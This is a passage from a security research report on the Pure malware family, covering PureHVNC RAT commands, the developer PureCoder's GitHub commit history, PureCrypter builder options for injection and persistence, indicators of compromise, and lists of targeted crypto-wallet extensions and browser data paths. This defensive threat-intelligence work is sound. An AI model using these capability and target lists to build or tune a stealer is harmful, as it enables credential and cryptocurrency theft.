Remote Registry editor, Delete, Create, Edit values and keys. 24 NetworkManager NetworkManager Allows threat actor to view active network connections, refresh connections list, kill specified connection, or terminate process with specific connection. 25 DDOS DdosManager Distributed Denial of Service (DDOS) against specified target. Three types of DDOS are supported: 1) HTTP Flood, 2) TCP Flood and 3) HTTP Bandwidth Exhaustion 26 PCSpecifications PCSpecifications Attacker is able to seed or leech files via torrent. This could potentially allow to run a P2P botnet for data distribution. This command may help in the exfiltration of huge files. 27 Coding ExecuteNETCode Executes .NET code specified by the threat actor. 28 InstalledApps InstalledApps Retrieves installed apps. 29 ActiveWindow ActiveWindows Able to control active windows on a remote machine. 30 HRDP HRDP Hidden Remote Desktop Protocol capabilities. 31 Clipper Clipper Monitors the system clipboard and replaces copied data with attacker-controlled content. More specifically detects Cryptocurrencies addresses and replaces them with wallets owned by the attacker. The malware supports Bitcoin (BTC), Litecoin (LTC), Ethereum (ETH), Ravencoin (RVN), Monero (XMR), Bitcoin Cash (BCH) 32 Torrent Torrent Attacker is able to seed or leech files via torrent. This could potentially allow to run a P2P botnet for data distribution. This command may help in exfiltration of huge files. 33 HostsEditor HostsEditor Allows an attacker to edit the remote machine s hosts file. The hosts file maps domain names to IP addresses, enabling an attacker to override DNS resolution or block/redirect traffic. 34 StartupManager StartupManager Collects all persistence entries that make programs run at boot. Then able to to remove them. PureCoder Developer The Pure family of products includes multiple types of malware that are developed and sold by the same author, PureCoder . The list of products includes: PureCrypter , a

Crypter for Native and .NET. PureRAT (PureHVNC RAT), a remote administration tool. PureLogs , a Stealer & Logger. PureMiner , a silent Crypto Miner. Blue Loader , an advanced Botnet. Other smaller malicious products. Figure 17 Products advertisement. Multiple threat actors use those products for specific purposes. Often, PureCrypter is used as a crypter, obfuscating other Pure products, such as PureLogs or PureHVNC . The products are sold among the many PureCoder s Telegram channels. Figure 18 PureCoder Telegram account. The developer and seller of the Pure malware family demonstrates the features and capabilities of each product, while the PureRAT administration-builder panel appears to support three main languages: English, Russian, and Chinese. Figure 19 PureRAT Administration-Builder Panel. PureCoder GitHub Account(s) During the previously mentioned campaign, with ID amazon3 , the malware communicated with its command and control server. The bot received three GitHub URLs and downloaded the corresponding files. Figure 20 Contacted repository. The GitHub account owns a total of five repositories, which contain several executable and plugin files. Figure 21 GitHub account. When examining the commits of the repository DFfe9ewf/test3 we discovered something that we did not expect. The commits and file uploads to the specific repository were made by another account , PureCoder . Mentioned commits:

==

==

==

==

==

==

==

==

==

==

==

==

==

==

==

==

```
==
==
==
==
==
==
==
==
== [2024-10-31T02:01:36Z] Author: PureCoder tree
795fba180464a965f99fc2a50c5a3fad38a6939a author PureCoder
<87261126+PURE-CODER-1@users.noreply.github.com> 1730340096 +0300 committer
GitHub 1730340096 +0300 Add files via upload * WebDriver.dll -
39d3b6bee5450d82d096ad7bdf4244fcb7b1eb81
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
== [2024-10-31T02:02:22Z] Author: PureCoder tree
8c302d85720b3fa2a8ecceffe1aa7cd23efbe9b5 parent
```

```
647343bed2af6e8c16f296d626d98cdfd0f84cf0 author PureCoder
<87261126+PURE-CODER-1@users.noreply.github.com> 1730340142 +0300 committer
GitHub 1730340142 +0300 Add files via upload * WebDriver.dll -
39d3b6bee5450d82d096ad7bdf4244fcb7b1eb81 * msedgedriver
.exe - 7b133998e526b3bee151329171c82ca1837c86f9
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
== [2024-10-31T02:02:40Z] Author: PureCoder tree
4b0fa1d022d409825bb2a872e245ebc9b2bcaff2 parent
f388ef87fcd48a2fe00fa449c1987115e5fe35c8 author PureCoder
<87261126+PURE-CODER-1@users.noreply.github.com> 1730340160 +0300 committer
GitHub 1730340160 +0300 Add files via upload * WebDriver.dll -
39d3b6bee5450d82d096ad7bdf4244fcb7b1eb81 * chromedriver
.exe - 2e5050c50d3a8e9f376f0ae9394cf265ed3dcf06 * msedgedriver
.exe - 7b133998e526b3bee151329171c82ca1837c86f9 GitHub creates a noreply
email shown in the commits with the ID and the Username of the account in
the form ID+USERNAME@users.noreply.github.com . The ID 87261126 actually,
```

currently corresponds to DFfe9ewf which was renamed from PURE-CODER-1 . The commits have been made from the timezone UTC+0300 which corresponds to many countries, including Russia, among others. One of the three downloaded files was once again seen in another GitHub account, which possibly serves for development and testing purposes. Figure 22 PureCoder Testing/Development account. The repository containing those files, DemoThing was created in March 2024, two more repositories with the description PR were created by this testing account during April 2025 and contain similar files. Figure 23 PureCoder Testing/Development account repositories. Similar to the previous GitHub account, all commits are once again made in the timezone UTC+0300 and contain similar names and files hosted. This account was created testdemo345 was created before DFfe9ewf and appears to be serving for testing purposes during development phases.

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

--

-- Repository Commits: Demothing

==

```
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
== [2024-03-03T15:38:21Z] Author: testdemo345 tree
7f851ca85ec9136486692f283ff16c79a1a211ca author testdemo345
<161469984+testdemo345@users.noreply.github.com> 1709480301 +0300 committer
GitHub 1709480301 +0300 Add files via upload * WebDriver.dll -
39d3b6bee5450d82d096ad7bdf4244fcb7b1eb81 * chromedriver
.exe - 03d1d4a02fbd4c72b8ea9826a219a0511a62a974 * msedgedriver
.exe - 44ceaa27e81a9a9f218fff2c720b72390ff1c6c3
--
--
--
--
--
--
--
--
--
```

```
--
--
--
--
--
--
--
--
--
--
--
--
--
--
--
-- Repository Commits: uhewrf90
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
== [2025-04-14T08:00:34Z] Author: testdemo345 tree
11e0357a36bd6e908cf9f6e7834cc201a70d692a author testdemo345
<161469984+testdemo345@users.noreply.github.com> 1744617634 +0300 committer
GitHub 1744617634 +0300 Add files via upload * chromedriver
.exe - b8c385aa07aba1344cccfd92fcda2db9dbda9855
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
== [2025-04-14T08:00:53Z] Author: testdemo345 tree 4cf36f75defc34cbd1b50
c23e932f8d9a87dca9b parent 98ac16ba3e512e495ebf8da7e1ea6bea904ea69b author
testdemo345 <161469984+testdemo345@users.noreply.github.com> 1744617653
+0300 committer GitHub 1744617653 +0300 Add files via upload * chromedriver
.exe - b8c385aa07aba1344cccfd92fcda2db9dbda9855 * msedgedriver
.exe - d4fff01e37aff04bf8d4314833c8a5ab9e23aca7
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
== [2025-04-14T08:01:08Z] Author: testdemo345 tree
831bcb77a070b342115c68ced7cb22c0c778006f parent
564db1627658feb61fe87b07659d371c371a4a41 author testdemo345
<161469984+testdemo345@users.noreply.github.com> 1744617668 +0300 committer
GitHub 1744617668 +0300 Add files via upload * WebDriver.dll -
39d3b6bee5450d82d096ad7bdf4244fcb7b1eb81 * chromedriver
.exe - b8c385aa07aba1344cccfd92fcda2db9dbda9855 * msedgedriver
.exe - d4fff01e37aff04bf8d4314833c8a5ab9e23aca7
--
--
--
--
--
--
--
--
--
--
```

```
--
--
--
--
--
--
--
--
--
--
--
--
--
--
-- Repository Commits: fdsgb890ugrds
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
==
```

== [2025-04-14T08:04:51Z] Author: testdemo345 tree 85e444601df3b756209667504c39116a60e0e3d3 author testdemo345 <161469984+testdemo345@users.noreply.github.com> 1744617891 +0300 committer GitHub 1744617891 +0300 Add files via upload * qbittorrent - 7075fb417919b4ae9335ee7abeb9553953c8aac8 Pure Builder & GitHub URLs At the beginning, we considered the contacted GitHub account (DFfe9ewf / PURE-CODER-1) as part of the URL delivered by the threat actor, who can be simply a customer of Pure malware products. Though this hypothesis changed once we discovered a PureRAT Administration-Builder containing hardcoded the GitHub URLs supporting various functionalities of the malware itself. Figure 24 PureRAT Administration-Builder Assembly. The GitHub URLs were hardcoded into the PureRAT administration-builder executable, meaning they were not delivered by the threat actor to the victims. Instead, they are part of the administration tool itself, developed by PureCoder . Figure 25 Hardcoded GitHub URLs. These URLs and files appear to support the TwitchBot and YoutubeBot plugins. They are used for commands such as following or unfollowing accounts, liking videos, and clicking ads on specified videos on these platforms. While PureCoder currently uses GitHub and the above-mentioned accounts to host files that support various functionalities of PureRAT, Check Point Research expects these URLs to change more frequently, potentially using different GitHub accounts, alternative hosting platforms, or even being delivered directly as bytes to the bots by the administration tool. Pure Builder PureCrypter Features While the tool we obtained appears to be PureRAT builder and administration software, some available features are related to the PureCrypter software solution sold and developed by PureCoder as well. The code specifies multiple enumerations (enum) related to PureCrypter. An enum is a list of named constants that represent specific values. PureCrypter enums: Enum Name Member Name Proto Value Display Name PureCrypterExtension exe 0 .exe PureCrypterExtension pif 1 .pif PureCrypterExtension com 2 .com PureCrypterExtension bat 3 .bat PureCrypterExtension cmd 4 .

```
cmd
```

PureCrypterExtension iso 5 .iso PureCrypterExtension img 6 .img PureCrypterExtension html 7 .html PureCrypterExtension setup 9 .setup PureCrypterExtension scr 10 .scr PureCrypterExtension vbs 11 .vbs PureCrypterFakeApp BitcoinTransactionAccelerator 0 [Fake] Bitcoin Transaction Accelerator PureCrypterFakeApp BitcoinMining 1 [Fake] Bitcoin CPU Mining PureCrypterFakeApp FakeRAT 2 [Fake] FakeRAT PureCrypterFakeMessageType Error 0 Error PureCrypterFakeMessageType Information 1 Information PureCrypterFolder

```
AppData
```

0 %

```
appdata
```

% PureCrypterFolder Local 1 %localappdata% PureCrypterFolder Documents 2 %userprofile% PureCrypterFolder

Temp 3 %

temp% PureCrypterFramework Framework_45 0 v4.5 PureCrypterFramework Framework_46 1 v4.6 PureCrypterFramework Framework_48 2 v4.8 PureCrypterInjection Reflection 0 Reflection PureCrypterInjection RunPE 1 RunPE PureCrypterInjection Shellcode 2 Shellcode PureCrypterStartup Registry 0 Registry PureCrypterStartup StartupFolder 1 StartupFolder PureCrypterStartup TaskScheduler 2 TaskScheduler These enums give us some important information regarding the choices a threat actor can make during encrypting their malware using PureCrypter. For example, we can observe the installation options (PureCrypterFolder), the persistence mechanism (PureCrypterStartup) as well as the execution method (PureCrypterInjection). Conclusion The forensic investigation of the ClickFix campaign provides a comprehensive view of the Pure malware ecosystem and its operational mechanics. The eight-day intrusion highlighted the coordinated use of multiple tools, including Rust Loader , PureHVNC RAT , and the Sliver C2 framework , demonstrating the threat actor s sophistication. Check Point Research s in-depth analysis of PureHVNC RAT, including all its commands, plugins, and associated supporting files, sheds light on previously opaque aspects of this malware family. Significantly, the investigation linked several GitHub repositories directly to the developer, PureCoder , offering rare insights into their operational practices, including a UTC+0300 timezone and

potential geographic locations. The discovery of the PureRAT builder and
additional information on PureCrypter further illustrate the modular and
evolving nature of this malware suite, emphasizing the
ongoing threat posed by Pure malware to organizations globally. Overall,
this research not only enhances understanding of the Pure
malware family but also provides actionable intelligence that can assist
cybersecurity professionals and law enforcement agencies in tracking and
mitigating future campaigns conducted by both PureCoder and the
cybercriminals leveraging their tools. Protections Check Point Threat
Emulation and Harmony Endpoint provide comprehensive coverage of attack
tactics, file types, and operating systems and protect against the attacks
and threats described in this report. Indicators of
Compromise Description Value JavaScript File
85513077AADBE50FE68055F0420DA2E6B97BD30D JavaScript C&Cs stathub[.]quest
stategiq[.]quest mktblend[.]monster dsgnfwd[.]xyz dndhub[.]xyz First
PureHVNC RAT E3A79CE291546191A5DDB039B2F9BF523BB9C4FB Inno Setup Second
PureHVNC RAT D340B780194D44EE9B8D32F596B5A13723ABBE1D Rust Loader
99CBBE5F68D50B79AF8FB748F51794DE137F4FE4 PureHVNC
34EC79AB8A00DC6908874CDF7762756A2DCA4274 PureHVNC C&C 54.197.141
[.]245 GitHub account
hxxps:
//github[.]com/DFfe9ewf GitHub chromedriver
.exe 2E5050C50D3A8E9F376F0AE9394CF265ED3DCF06 GitHub msedgedriver
.exe 7B133998E526B3BEE151329171C82CA1837C86F9 GitHub WebDriver.dll
39D3B6BEE5450D82D096AD7BDF4244FCB7B1EB81 PureRAT Builder
17E14B3CCF309FD9B5F7A5068A5CEDDD15FDEA0F Appendix Applications & Extensions
Targeted Chromium extensions: ibnejdfjmmkpcnlpebklmnkoeoihofec - TronLink
nkbihfbeogaeaoehlefnkodbefgpgknn - MetaMask
fhbohimaelbohpjbbldcngcnapndodjp - Binance Chain Wallet
ffnbelfdoeiohenkjibnmadjiehjhajb - Yoroi cjelfplplebdjjenllpjcblmjkfcffne -
Jaxx Liberty fihkakfobkmkjojpchpfgcmhfjnmnfpi - BitApp Wallet
kncchdigobghenbbaddojjnnaogfppfj - iWallet aiifbnbfobpmeekipheeijimdpnlpgpp
- Terra Station ijmpgkjfkbfhoebgogflfebnmejmfbml - BitClip
blnieiiffboillknjnepogjhkgnoapac - EQUAL Wallet
amkmjjmmflddogmhpjloimipbofnfjih - Wombat jbdaocneiiinmjbjlgalhcelgbejmnid
- Nifty Wallet afbcbjpbpfadlkmhmclhkeeodmamcflc - Math Wallet
hpglfhgfnhbgpjdenjgmdgoeiappafln - Guarda aeachknmefphepccionboohckonoeemg
- Coin98 Wallet imloifkgjagghnncjkhggdhalmcnfklk - Trezor Password Manager
oeljdldpnmdbchonielidgobddffflal - EOS Authenticator

gaedmjdfmmahhbjefcbgaolhhanlaolb - Authy ilgcnhelpchnceeipipijaljkblbcobl - GAuth Authenticator bhghoamapcdpbohphigoooaddinpkbai - Authenticator mnfifefkajgofkcjkemidiaecocnkjeh - TezBox dkdedlpgdmmkkfjabffeganieamfklkm - Cyano Wallet aholpfdialjgjfhomihkjbmgjidlcdno - Exodus Web3 jiidiaalihmmhddjgbnbgdfflelocpak - BitKeep hnfanknocfeofbddgcijnmhnfnkdnaad - Coinbase Wallet egjidjbpglichdcondbcbdnbeeppgdph - Trust Wallet hmeobnfnfcmdkdcmlblgagmfpfboieaf - XDEFI Wallet bfnaelmomeimhlpmgjnjophhpkkoljpa - Phantom fcckkdbjnoikooededlapcalpionmalo - MOBOX WALLET bocpokimicclpaiekenaeelehdjllofo - XDCPay flpiciilemghbmfalicajoolhkkenfel - ICONex hfljlochmlccoobkbcgpmkpjagogcgpk - Solana Wallet cmndjbecilbocjfkibfbifhngkdmjgog - Swash cjmkndjhnagcfbpiemnkdpomccnjblmj - Finnie dmkamcknogkgcdfhhbddcghachkejeap - Keplr kpfopkelmapcoipemfendmdcghnegimn - Liquality Wallet hgmoaheomcjnaheggkfafnjilfcefbmo - Rabet fnjhmkhhmkbjkkabndcnnogagogbneec - Ronin Wallet klnaejjgbibmhlephnhpmaofohgkpgkd - ZilPay ejbalbakoplchlghecdalmeeeajnimhm - MetaMask ghocjofkdpicneaokfekohclmkfmepbp - Exodus Web3 heaomjafhiehddpnmncmhhpjaloainkn - Trust Wallet hkkpjehhcnhgefhbdcgfkeegglpjchdc - Braavos Smart Wallet akoiaibnepcedcplijmiamnaigbepmcb - Yoroi djclckkglechooblngghdinmeemkbgci - MetaMask acdamagkdfmpkclpoglgnbddngblgibo - Guarda Wallet okejhknhopdbemmfefjglkdfdhpfmflg - BitKeep mijjdbgpgbflkaooedaemnlciddmamai - Waves Keeper

Targeted Applications: Chromium - Chromium\\User Data\\ Chrome - Google\\Chrome\\User Data\\ Chrome - Google(x86)\\Chrome\\User Data\\ Brave - BraveSoftware\\Brave-Browser\\User Data\\ Edge - Microsoft\\Edge\\User Data\\ QQBrowser - Tencent\\QQBrowser\\User Data\\ ChromePlus - MapleStudio\\ChromePlus\\User Data\\ Iridium - Iridium\\User Data\\ 7Star - 7Star\\7Star\\User Data\\ CentBrowser - CentBrowser\\User Data\\ Chedot - Chedot\\User Data\\ Vivaldi - Vivaldi\\User Data\\ Kometa - Kometa\\User Data\\ Elements - Elements Browser\\User Data\\ Epic Privacy - Epic Privacy Browser\\User Data\\ Uran - uCozMedia\\Uran\\User Data\\ Sleipnir5 - Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer\\ Citrio - CatalinaGroup\\Citrio\\User Data\\ Coowon - Coowon\\Coowon\\User Data\\ liebao - liebao\\User Data\\ QIP Surf - QIP Surf\\User Data\\ Orbitum - Orbitum\\User Data\\ Dragon - Comodo\\Dragon\\User Data\\ Amigo - Amigo\\User\\User Data\\ Torch - Torch\\User Data\\ Comodo - Comodo\\User Data\\ 360Browser - 360Browser\\Browser\\User Data\\ Maxthon3 - Maxthon3\\User Data\\ K-Melon - K-Melon\\User Data\\ Sputnik -

Sputnik\\Sputnik\\User Data\\ Nichrome - Nichrome\\User Data\\ CocCoc - CocCoc\\Browser\\User Data\\ Uran - Uran\\User Data\\ Chromodo - Chromodo\\User Data\\ Atom - Mail.Ru\\Atom\\User Data\\ Atomic Wallet Bitcoin-Qt Dash-Qt Electrum Ethereum Exodus Jaxx Litecoin-Qt Zcash Foxmail Telegram Ledger Live The post Under the Pure Curtain: From RAT to Builder to Coder appeared first on Check Point Research .